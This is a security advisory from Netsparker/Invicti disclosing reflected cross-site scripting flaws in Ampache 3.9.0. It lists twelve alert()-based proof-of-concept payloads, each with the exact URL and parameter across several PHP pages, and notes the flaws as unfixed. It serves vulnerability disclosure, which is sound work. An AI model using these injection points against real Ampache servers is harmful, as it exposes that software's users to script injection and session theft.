Information
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Advisory by Netsparker (now Invicti)
Name: Multiple Reflected Cross-site Scripting in Ampache 3.9.0
Affected Software: Ampache
Affected Versions: 3.9.0
Homepage: http://ampache.org
Vulnerability: Reflected Cross-site Scripting
Severity: Medium
Status: Not Fixed
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
Invicti Advisory Reference: NS-18-046

Technical Details
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URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/arts.php?action=find_art&object_type=live_stream&object_id='"--></style></scRipt><scRipt>alert(0x031B4B)</scRipt>&burl=http://www.example.com&artist_name=Smith&album_name=Smith&cover=3
Parameter Type: GET
Parameter Name: mbid
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x031B4B)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/artists.php?action=show_missing&mbid='+alert(0x003D85)+'
Parameter Type: GET
Parameter Name: mbid
Attack Pattern: '+alert(0x003D85)+'

URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/arts.php?action=find_art&object_type=album&object_id="><scRipt>alert(9)</scRipt>&burl=&artist_name=&album_name=&cover=
Parameter Type: GET
Parameter Name: object_id
Attack Pattern: "><scRipt>alert(9)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/arts.php?action=find_art&object_type=live_stream&object_id="><scRipt>alert(9)</scRipt>&burl=&artist_name=&album_name=&cover=
Parameter Type: GET
Parameter Name: object_id
Attack Pattern: "><scRipt>alert(9)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/random.php?action=get_advanced&type=song
Parameter Type: POST
Parameter Name: rule_1
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x013D4D)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/random.php?action=get_advanced&type=song
Parameter Type: POST
Parameter Name: rule_1_input
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x013D4D)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/random.php?action=get_advanced&type=song
Parameter Type: POST
Parameter Name: rule_1_subtype
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x013D4D)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/search.php?type=song
Parameter Type: POST
Parameter Name: rule_1_input
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003A1E)</scRipt>

URL: http://{DOMAIN}/{PATH-OF-AMPACHE}/search.php?type=song
Parameter Type: POST
Parameter Name: rule_1
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x003A1E)</scRipt>

URL:  http://{DOMAIN}/{PATH-OF-AMPACHE}/smartplaylist.php?action=update_playlist&playlist_id=8  
Parameter Type: POST
Parameter Name: rule_1
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x01DFF5)</scRipt>

URL:  http://{DOMAIN}/{PATH-OF-AMPACHE}/smartplaylist.php?action=update_playlist&playlist_id=8  
Parameter Type: POST
Parameter Name: rule_1_input
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x01DFF5)</scRipt>

URL:  http://{DOMAIN}/{PATH-OF-AMPACHE}/smartplaylist.php?action=update_playlist&playlist_id=8  
Parameter Type: POST
Parameter Name: rule_1_subtype
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x01DFF5)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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12th November 2018- First Contact Attempt
9th January 2019 - Advisory Released

Credits & Authors
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These issues have been discovered by Zekvan Arslan while testing Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.